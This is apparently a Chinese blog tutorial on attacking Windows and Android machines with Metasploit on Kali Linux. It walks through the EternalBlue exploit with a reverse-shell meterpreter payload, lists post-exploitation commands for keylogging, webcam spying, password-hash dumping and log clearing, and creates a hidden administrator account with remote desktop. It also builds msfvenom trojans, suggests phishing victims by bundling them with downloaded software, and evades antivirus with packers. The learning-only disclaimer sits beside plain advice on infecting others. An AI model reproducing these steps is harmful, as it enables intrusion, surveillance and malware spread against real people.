数据来源

本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。

得到ip地址我们能干嘛?

首先进行端口扫描

为什么要进行端口扫描?

端口扫描的作用就是发现目标主机开放的端口及其对应开放的服务,攻击者通过发现及利用服务所存在的漏洞,入侵目标主机。

- Nmap -扫描器之王

metasploit是什么?

msf是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢岀漏洞和流行的 shellcode,并持续保持更新。

netasploiti让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击。

启动 metasploit 前需要做:

  • 打开ka终端
  • 使用 sudo su命令,并输入kali的密码kali,切换至root用户
  • 使用 msfdb init命令初始化 metasploit数据库(*可选)

metasploit攻击 windows操作系统

        msfconsole           # 启动 metasploita命令行【命令行效率高,使用方便】

msf使用法则:

使用模块  ->  配置模块必选项  ->  运行模块。        三步操作,就能实现对主流漏洞的攻击

永恒之蓝漏洞:

永恒之蓝是指2017年4月14日晚,黑客团体 ShadowBrokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了 Wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

metasploit攻击永恒之蓝全流程:

1. 使用模块

        use exploit/windows/smb/ms17_010_eternalblue

2. 设置必选项

查看必选项【*required 为yes的就是必选项】

        show options

或者

1. 搜索漏洞编号:

        search ms17_010       # 搜索2017年的10号漏洞永恒之蓝(微软定义),search 使用

2. 使用模块

可以通过模块名称或模块编号使用模块

        use exploit/windows/smb/ms17_010_eternalblue  # 通过模块名称使用模块

        或(选择一种方式即可)

        use 0                                                                            # 通过模块编号使用模块

3. 查看模块所需要的配置内容

        show options              # 可以按tab键自动补全命令,show 显示/展示   options  选项

必选项是:yes 的就是必选设置,一些是有默认的,一些是没有默认的就需要我们添加,如目标主机状态是yes,但是当前设置时空。

实验:

1、准备一台靶机(我这里开了一台winXP),并查看靶机的IP地址(等下用做攻击目标)

        ipconfig          # 查看本机IP地址

        ifconfig eth # kali查看IP 

2、回到kli设置metasploit的必选项,攻击目标这些

set RHOSTS 192.168.0.103   # 设置目标IP地址,set  (设置)RHOSTS 目标主机的名称,代表你要攻击谁,目标主机地址也可以写一个范围如:192.168.0.103-254

        show options              # show 显示/展示   options  选项,查看还有什么需要设置的

        set payload windows/x64/meterpreter/reverse_tcp  # payload 是攻击载荷,就是攻击完成后想干啥,这里是想获取 meterpreter (默认就是这个)meterpreter是 metasploit 后渗透的神器 

        set LHOST 192.168.0.102          # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址默认就是kali自己的IP地址,如果你的不是那就可以修改

        set lport 10001   # 将端口设置为10001,代表你要在kali上开启的端口,1-65535随便选,但不能被占用,默认的端口是:4444,为了攻击的成功率可以改一下

show options              # 查看配置

3、启动运行模块,开启攻击

        命令:run

我这里攻击失败了,原因:192.168.0.103:445-由于失败而中止利用漏洞:无目标:此模块仅支持x64(64位)目标

开一台64位操作系统的虚拟机,继续实验

继续查看主机IP

重新设置攻击目标

set RHOSTS 192.168.0.106   # 设置目标IP地址

 启动运行模块,开启攻击

        命令:run

     攻击成功命令行就会来到meterpreter>,这里就是拿到了目标主机的权限 

 攻击成功,拿到了对方的权限可以干嘛?可以输入:help   # 查看帮助

核心命令

命令   

说明

? “帮助”菜单
 background  当前会话的背景
bg 背景别名
bgkill 杀死背景meterpreter脚本
bglist 列出正在运行的后台脚本
bgrun 作为后台线程执行meterpreter脚本
channel 显示信息或控制活动通道
close 关闭频道
detach 分离meterpreter会话(对于http/https)
disable_unicode_encoding 禁用unicode字符串的编码
enable_unicode_encoding 启用unicode字符串的编码
exit                       终止meterpreter会话
get_timeouts 获取当前会话超时值
guid 获取会话guid
help                       帮助菜单
info 显示有关Post模块的信息
irb 在当前会话上打开交互式Ruby shell
load                       加载一个或多个meterpreter扩展
machine_id 获取连接到会话的计算机的MSF id
migrate                    将服务器迁移到另一个进程
pivot 管理数据透视侦听器
pry                        在当前会话上打开Pry调试器
quit                       终止meterpreter会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行meterpreter脚本或Post模块
secure                     (重新)协商TLV数据包加密
sessions                   快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制仪表安静,然后重新建立会话,用法:用法:sleep<秒数>
ssl_verify 修改ssl证书验证设置
transport                  管理运输机制
use “load”的别名已弃用
uuid 获取当前会话的uuid
write 将数据写入通道

Stdapi:文件系统命令

命令 说明
cat 将文件的内容读到屏幕上
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定的文件
dir 列表文件(ls的别名)
download 下载文件或目录
edit           编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcat 将本地文件的内容读取到屏幕

lcd

更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列表文件
mkdir 创建新目录
mv 将源文件移动到目标
pwd 打印工作目录
rm 删除指定的文件
rmdir 删除目录
search         搜索文件
show_mount 列出所有装载点/逻辑驱动器
upload 上载文件或目目录(可以用来上传文件到对方电脑)

Stdapi:网络命令

命令 说明
arp 显示主机arp缓存
getproxy 显示当前代理配置
ifconfig 显示界面
ipconfig 显示IP界面
netstat 显示网络连接与对方开放的端口
portfwd 将本地端口转发到远程服务
resolve        解析目标上的一组主机名
route 查看和修改路由表

Stdapi:系统命令

命令 说明
clearev 清除事件日志
drop_token 放弃任何活动模拟令牌。
execute        执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getprivs 尝试启用当前进程可用的所有权限
getsid 获取服务器正在运行的用户的SID
getuid 获取服务器运行的用户
kill 终止进程
localtime 显示目标系统的本地日期和时间
pgrep 按名称筛选进程
pkill 按名称终止进程
ps 列出正在运行的进程
reboot 重新启动远程计算机
reg 修改并与远程注册表交互
rev2self 在远程计算机上调用RevertToSelf()
shell 放入系统命令shell
shutdown 关闭远程计算机
stealt_token 尝试从目标进程中窃取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,如操作系统

Stdapi:用户界面命令

命令 说明
enumdesktops 列出所有可访问的桌面和窗口工作站
getdesktop 获取当前meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送键击
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare     共享实时监视远程用户桌面
screenshot      截图,获取交互式桌面的截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件

Stdapi:正在使用网络摄像头命令

命令 说明
record_mic 从默认麦克风录制音频X秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像机拍摄快照
webcam_stream 从指定的网络摄像机播放视频流(打开摄像头)

Stdapi:音频输出命令

命令 说明
play  在目标系统上播放波形音频文件(.wav)

Priv:提升命令

命令 说明
getsystem 尝试将您的权限提升到本地系统的权限

密码数据库命令

命令 说明
hashdump 转储SAM数据库的内容

Priv:时间戳命令

命令 说明
timestomp 操纵文件MACE属性

攻击成功后的命令使用:

攻击成功后成功获取到对方主机的权限,上面的这操作命令直接输入到命令行使用就行了

 注意:上面表格中的命令我也没有仔细检查过,如果使用时出现报错那应该是我填错了,这时可以输入命令:

        help   # 查看帮助,按类型获取到正确的命令,也可以在下方给我留言我会及时更改。

攻击成功后的使用示例:

攻击成功后能做什么meterpreter是强大的后渗透模块,可以输入help查看帮助信息

远程控制、命令执行、摄像头监控、密码获取、创建后门用户、破坏篡改系统...这些看起来非常复杂又高级的操作都能用 meterpreter中一行或几个字母,简单的命令完成

例:创建后门用户并开启远程连接(3389)

shell                                                          # 启动dos窗口,这样就能使用DOS 命令

      chcp 65001                                              # 默认情况下编码为936,中文会出现乱码问题,65001为UTF-8的代码页,可以正常显示中文

        net user zhangsan 123456 /add & net localgroup administrators zhangsan /add 

        或分开执行

        net user zhangsan 123456 /add              # 创建一个用户名为“zhangsan ”密码是“123456 ”

        net localgroup administrators zhangsan /add    # 将zhangsan 加入到管理员组(提升权限)

        exit                                                            # 退到上一级目录(这里是退出dos窗口回到,meterpreter > )

   getsystem                                                  #  先将当前的session提升为system权限(以防万一)

        run post/windows/manage/enable_rdp   #  利用此后渗透模块即可直接开启远程桌面,开启受害者主机3389端口(远程桌面连接端口)

        这样一套命令下来,以后我们就可以直接使用 zhangsan 这个账号登录3389端口的远程桌面服务,远程控制目标主机(mstsc -v 目标ip)

rdesktop 192.168.0.103:3389  # 连接受害者主机的远程桌面,如下图所示:

需要注意的是你登录了,对方会被你挤下线

1)使用Kali渗透工具生成远控木马

想远程控制别人?msfvenom 生成远控木马了解一下

msfvenom 是用来生成后门的软件,在目标机上执行后门,在本地监听上线。

【* msfvenom在shell里使用,不是 msfconsole 终端】

        payload        攻击载荷 

        windows       是指微软的windows操作系统,如果目标是其他系统这里就改成其他系统名称如:Linux

        lhost               代表你是谁,既kali的IP地址

        lport              代表你要在kali上开启的端口,1-65535随便选,但不能被占用

        -f                    是指format(格式)

     exe                是windows格式文件,是指生成木马文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)

        -o                  是指output(输出),后面跟的demo.exe是文件名,自定义随便改。

        msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo.exe 

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.89 LPORT=9988 R > /home/kali/Desktop/lanxf.apk

生成木马文件示例:

        输入:exit    # 退回上一级,直到回到kali的命令行中

         msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo999.exe   # 生成木马文件

        现在文件就生成到桌面的我们可以在桌面查看文件 

这个文件可以通过邮箱或其他社交平台发送给对方,然后对方运行了之后我们就可以对他电脑进行远程控制(不过一般情况下会被对方的杀毒软件直接杀死)如下面这样,我们直接把木马文件复制到自己的真实机,杀毒软件会自动检测并杀死。

        注意:这里是在命令行的桌面路径下输入命令所以文件默认是生成在桌面,如果想改生成文件的位置,那就把命令后面的文件名改成路径加文件名,如:/home/kali/demo999.exe   。或者使用命令:cd 路径   # 更改命令行的路径

生成木马就完事?把木马文件发送到目标主机

(注意这一步需要使用上面写的方法通过metasploit获取到目标的权限才行,如果对方电脑没有漏洞获取不到对方权限,那就需要用钓鱼的方式让受害者自己下载,比如我们在百度上下载的软件都有很多捆绑软件)

        pwd                                                                 # 打印目标的工作目录

        upload /home/kali/桌面/demo999.exe          # 把木马文件发送到目标的电脑上

       upload /home/kali/桌面/demo999.exe d:\\    # 也可以指定文件路径,发送到对方的D盘根目录下

记得在 msfconsole里开启监听,等待受害者运行上钩

        现在有了木马文件,我们要让别人下载,俗称:“钓鱼” 

首先:制作鱼钩

        msfconsole                         # 启动 metasploita命令行

use exploit/multi/handler   # 使用模块

    show options                        # 查看设置,查看这个模块需要配置那些选项才能使用

1)设置攻击载荷:

        set payload windows/x64/meterpreter/reverse_tcp   # 这个攻击载荷就是上面我们使用的攻击载荷

        show options                                                                  # 查看设置

2)设置侦听地址

        set LHOST 192.168.0.102          # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址

        show options                                                                  # 查看设置

3)设置帧听端口:

        set lport 9988   # 就是要在kali上要开启的端口,注意这里的端口要和前面生成木马文件的端口一样,我上面是用9988端口这里也要9988端口,默认的端口是4444

4)运行模块:run   # 简单理解就是把鱼钩放到河里

现在我们要做的就是等待鱼儿上钩:

  • 方法一:我们主动将钩子摁到鱼儿上(利用漏洞)
  • 方法二:姜太公钓鱼,愿者上钩!

假设目标通过网上下载了其他软件比如啥直播、游戏之类的,然后我的木马文件也和这些软件绑定了,他也运行了,之后我们就可以对他进行些操作。

通过命令运行对方的木马文件(需要使用上面写的方法通过metasploit获取到目标的权限

        execute -H -i -f demo999.exe          # 运行demo999.exe这个刚才我们发到目标过去的木马文件, -H 不可见,-i 交互

 然后输入:   help   # 查看通过这个木马文件我们能干啥,可以使用的功能和我上面列出来的命令一样

webcam_list 列出网络摄像头(查看对方的电脑有没有摄像头)
webcam_stream 从指定的网络摄像机播放视频流(打开摄像头)

我这里的目标是虚拟机所以这块,响应的信息是没有

ctrl + c 退出监控

杀毒软件会查杀怎么办?一招教你躲避火绒的探测

最基础的免杀【*对于其他杀毒软件效果不同,具体情况请自行尝试】

捆绑木马(现在基本没效果,杀毒软件的技术更新了)

        msfvenom -p windows/64/meterpreter/reverse tcp lhost=192.168.0.102 lport=9999 -f  exe-xnotepad++. exe -o notepad++.exe    

 加壳:压缩壳、加密壳

如:Themida

使用示例:

打开软件

然后耐心等待加密过程,最后加密成功的界面如下,之后就可以关闭软件了。

然后可以复制到真实机上测试

         后门木马请勿随意传播,如果造成危害属于提供计算机操作系统入侵工具罪及非法入侵计算机操作系统数罪并罚。

进入黑客的世界:Kali Linux 中的 Metasploit 渗透测试利器相关推荐

  1. kali linux 2.0 web 渗透测试 电子书

    原创 2017-05-31 玄魂工作室 玄魂工作室 打起精神,重新开启订阅号的原创文章写作工作,但是需要点时间,请耐心等待. 求资料的同学,没有及时回复的,请再次留言,我会尽快处理.今天分享两本电子书 ...

  2. Kali Linux中优秀Wifi渗透工具TOP 10

    这篇文章要讨论的是目前一个非常热门的话题:渗透无线网络以及如何防止无线网络被入侵.WiFi 通常都是网络环境中的一个薄弱环节,因为 WiFi 信号可以在范围内的任何一个地方被任何一个人捕捉到,而且只要 ...

  3. Cat-Nip:专用于Kali Linux的自动化基础渗透测试工具

    今天给大家介绍的是一款名叫Cat-Nip的开源渗透测试工具,该工具针对Kali Linux开发,可帮助研究人员自动化完成基础的渗透测试.这些基础的渗透测试任务包括信息收集.安全审计以及安全报告,而且这 ...

  4. 毕业论文开题报告 - 基于Linux的无线网络渗透测试研究

    目录 开题报告填写要求 1.毕业论文综述(题目背景.研究意义及国内外相关研究情况) 1.1 题目背景 1.2研究意义 1.3现阶段相关研究情况 2.本课题研究的主要内容和拟采用的研究方案.研究方法或措 ...

  5. mac使用被动ftp模式(pasv)_网络安全工程师与白帽子黑客教你:Kali Linux之使用Metasploit进行FTP服务扫描实战...

    本分享仅做学习交流,请自觉遵守法律法规! 搜索:Kali与编程,学习更多网络攻防干货! 下篇文章将在明天下午五点发布,敬请关注! 一.背景介绍 FTP是用来在两台计算机之间传输文件,是Inter ...

  6. Kali Linux中的十大WiFi攻击工具介绍

    本文讲的是Kali Linux中的十大WiFi攻击工具介绍,在这十大WiFi攻击黑客工具中,我们将讨论一个非常受欢迎的主题:无线网络攻击以及如何防止黑客入侵.无线网络通常是网络的一个弱点,因为WiFi ...

  7. 黑客技术:Kali Linux如何入侵WiFi?秘诀在这里...

    如今, WiFi网络比以前更安全.如今, 大多数无线访问点都使用WPA(WiFi保护访问)2预共享密钥来保护网络.该WPA 2使用更强大的加密算法, 即AES, 很难破解. 在安全性方面, 没有什么是 ...

  8. 揭秘:黑客必备的Kali Linux是什么,有哪些弊端?

    我们很多人都会对黑客感兴趣,甚至觉得黑客霸气外漏,当然也有人是觉得黑客是遭人唾弃,没干啥好事儿.先不管黑客这个职业有什么好与不好,我们了解黑客,也是为了防止自己的信息安全被泄露.今天就揭秘黑客常用的K ...

  9. kali linux 截图位置,Kali Linux中使用截图工具

    Kali Linux中默认好像没有安装截图工具,于是网上找了下,本打算安装shutter,但估计是源的问题没成功,一不小心发现了Scrot, 因为可以命令行截图的缘故,就试了下,参考: https:/ ...

最新文章

  1. Debug实验学习汇编
  2. 提升效率的Vue组件开发和实战技巧
  3. 【开源】OSharpNS,轻量级.net core快速开发框架发布
  4. 单机版简易考试系统开发过程讲解(C#注册机、用户注册、考试系统、×××全部源码)...
  5. [scikit-learn 机器学习] 7. 朴素贝叶斯
  6. 【mac】Snagit截图时候鼠标变大太大的解决方法
  7. Python爬虫理论 | (2) 网络请求与响应
  8. 塔夫斯大学计算机教授,塔夫茨大学工程学院虚拟教室取得成功!
  9. Apache的安装教程
  10. 《乔布斯的魔力演讲》读书笔记
  11. html中怎么设置栅格,[CSS] 栅格化布局
  12. Qt开发的国内外知名软件
  13. 手机只会用来打游戏?看看这五款APP,让你办公电脑学习无所不能
  14. java 中的NIO
  15. Java开发 - 消息队列之RabbitMQ初体验
  16. Java 语音识别(百度语音API)
  17. Vue全家桶之VueX(六)
  18. 【Java面试题】把数组排成最小的数
  19. JAVA中多个标点符号连用_标点符号用法:两个标点符号连用的说明
  20. 设置打印机设置为横向或者纵向打印

热门文章

  1. linux 网卡绑定解绑,网卡绑定开机绑定,关机解绑
  2. win32下的OpenGL绘图环境框架
  3. 山东海王星·关于国内文旅水上乐园的运营营销构思
  4. 基于Python+Django+MySQL的大学生信用评估系统
  5. 第三方库宏定义冲突解决办法
  6. c语言用十年算入门,初识C语言_十年饮冰 难凉热血的技术博客_51CTO博客
  7. 新手转行学大数据开发难吗?新手学需要注意的6个方面!
  8. linux中sed如何替换换行符,linux sed命令,如何替换换行符“\n”
  9. 寻仙服务器维护到几点,寻仙10月14日上午服务器例行维护公告
  10. 6个有效激励合作伙伴和促进推荐的小技巧